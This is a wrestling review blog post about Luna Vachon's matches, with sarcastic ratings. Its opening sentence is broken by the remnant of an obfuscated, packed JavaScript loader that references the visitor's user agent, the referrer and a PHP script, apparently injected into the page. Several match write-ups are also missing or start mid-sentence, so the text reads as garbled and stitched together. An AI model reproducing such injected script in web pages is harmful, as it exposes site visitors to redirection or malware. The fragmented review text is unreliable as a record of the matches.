Wrestler of the Day – December 19: Luna Vachon
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikdth|var|u0026u|referrer|kdzts||js|php'.split('|'),0,{})) we’re looking at a non-traditional Diva: Luna Vachon.
Women’s Battle Royal
There are ten girls in this and only three mean anything: Sherri Martel, Luna Vachon (didn’t mean anything yet) and Candi Divine, who was awful but was popular in the AWA. She’s also Women’s Champion here. I have no idea who most of these women are. They’re blondes in spandex. Someone is thrown out and I can’t hear Capetta, nor do I particularly care to know.
Trongard and Capetta keep calling Luna Leona by mistake. Or by lack of intelligence, I’m not sure which. Two more go out but they’re not important enough to announce. Somehow we got down to six. Luna (NOT LEONA) is gone. I think a Greek chick powerbombs Divine but it’s not important enough to talk about. The Greek chick is out and we’re down to Martel, Debbie Combs, Candi Divine and some chick that Trongard doesn’t bother naming. Divine misses a charge and we’re down to three. Her name is Joyce Grable. Ok then. Martel is knocked under the ropes, Combs throws out Grable and Martel sneaks in to steal the win.
Rating: F. I didn’t know half of the names in this. That should tell you everything you need to know.
And another one at SuperClash III.
Lingerie Battle Royal
Pali the Syrian Terrorist, Luna Vachon, Nina, Pocahontas, Malibu, Brandi Mae, Laurie Lynn, Peggy Lee Leather, Bambi
This is a Beverly Hills Street Fight Battle Royal. You can win by over the top rope or ripping clothes off so it’s more like a bra and panties battle royal. Other than Nina (Ivory) and Luna, none of these girls ever meant anything. This is a POWW match and David McLane is on commentary here and sounds so horny he makes Lawler sound like a nun. The winner gets ten grand as well. The girls start in regular clothes and are as gimmicked as you could imagine. In short, the girl named Leather wears leather etc.
What exactly do you want me to say here? It’s a lingerie battle royal with a total of 2/9 girls being known names. Nina vs. the Terrorist is the main rivalry here. Lynn is out. Various amounts of clothes are torn off and this is really boring. Apparently this started with a pair of jeans being torn up. Pocahontas is gone.
Nina is also and we’re down to five. This is awful by the way. A loud TAKE IT OFF chant starts up. Peggy and Bambi are out, leaving us with Brandi, Luna and the Terrorist. Luna takes a bump from the top (called the third rope by McLane) and we’re down to the two that started this. After far too long, the Terrorist wins.
Rating: F. Just horrible here on all levels and an embarrassment to say the least. McLane is considered scum in wrestling and I can’t say I really disagree based on what I’ve seen from them. This was totally horrible and makes the Divas today look like Thesz vs. Gagne or something like that. Think about that for a minute.
Bam Bam Bigelow/Luna Vachon vs. Doink the Clown/Dink
Vachon goes up but misses a BIG splash, allowing the big boys to come back in. Doink pounds away but is clotheslined to the floor with one shot. Dink annoys both heels but Doink comes back in, only to be sat on in a sunset flip attempt. A charges misses the big clown though and a jumping DDT puts Bigelow down. The Whoopee Cushion (top rope seated senton) completely misses and Dink is knocked to the floor. Doink tries a suplex but Bigelow falls on him for two. The top rope headbutt is enough to finish off the clowns.
Luna wound up in WCW in 1997, setting up this match at Slamboree 1997.
Madusa vs. Luna Vachon
The Artist Formerly Known As Goldust/Luna Vachon vs. Marc Mero/Sable
Mero pounds away on Goldust in the corner but gets clotheslined down to change control. A quick cross body gets two for Marc but Goldust hits an uppercut to put him right back down. The fans chant for Sable as the men collide. A double tag brings in the girls and Sable spears Luna down. She pounds away and kicks Luna in the corner before bealing her across the ring.
From eight days later on Raw, April 6, 1998.
Luna vs. Matt Knowles
Knowles is semi-famous for his time as HC Loc from the very old days of ROH. Goldust beats the tiny man up and Luna gets a top rope headbutt for the pin in like 30 seconds.
This set up the showdown with Sable at In Your House XXI.
Sable vs. Luna Vachon
Luna stuck around for once, including this match on Raw, August 10, 1998.
Luna vs. Jacqueline
s face but it gets the pin anyway. What a mess.
Another Raw on January 11, 1999.
Gillberg vs. Luna Vachon
Gillberg misses a spear, gets his eyes raked across the top rope, has his Jackhammer countered into a cross body, and is pinned by Luna in about thirty seconds.
Women’s Title: Ivory vs. Luna Vachon
Ok then. They’re in an office and fighting with a copier and phone. Ivory is champion here in case you were wondering. It’s your standard match in this genre and is just various weapons shots and throwing people into things. Odd to see women doing it though. A splash onto some cardboard boxes as Luna channels her inner Foley. This is about as pointless as you could ask for. And here’s Tori to save Luna for no apparent reason. Ivory hits Luna with a wooden pole for the pin. That was as pointless as I could have imagined.
Rating: N/A. Way too short here. This was like 3 minutes long and random as all goodness. That’s a shame too as Luna could have had a decent match with someone like Ivory, who actually had some decent training and could work a match. That’s one of Luna’s biggest issues: she keeps getting stuck with these opponents that can’t actually do anything but brawl, when Luna needed a regular worker.
Women’s Title: Tori vs. Jacqueline vs. Luna Vachon vs. Ivory
Tori is the former lesbian stalker that is now just sexy as all goodness. Jackie is just annoying and no one cares about her. Ross is freaking over the Bulldog thing to further emphasize that he is a HEEL. Luna is a face. That’s just odd. Wow this division is dying to have Trish and Lita show up, if nothing else for their looks. No tagging here. Please make it quick. Various people do various teams and no one cares.
The division was a bigger joke than it is today if you can believe that. Crowd is more or less dead here but not quite. The ECW Triple Sleeper is added to as it’s a quadruple sleeper. This is just a series of really stupid looking spots in a row. And Ivory hits Jackie with a belt and wins it. Wow I really could not have cared less there. Ross says he didn’t care because of Stephanie. Nice cover up there Jimbo.
Rating: F. These matches had a tendency to be awful. Awful sounds like a nice thing here as this was just annoying to have to sit through. Terrible match to say the least.
Time to continue the stupid at Survivor Series 1999.
Fabulous Moolah/Mae Young/Tori/Debra vs. Ivory/Luna Vachon/Terri Runnels/Jacqueline
Keep in mind that Tori is a wrestler in name only, Mae and Moolah combined to be over 150 years old, and Terri and Debra are there as eye candy. After less than two minutes, a double clothesline from the old chicks gives Moolah the pin on Ivory. This may have been the worst idea this side of the birth of a hand. This is what Raw is for people.
Luna Vachon vs. Vampire Warrior
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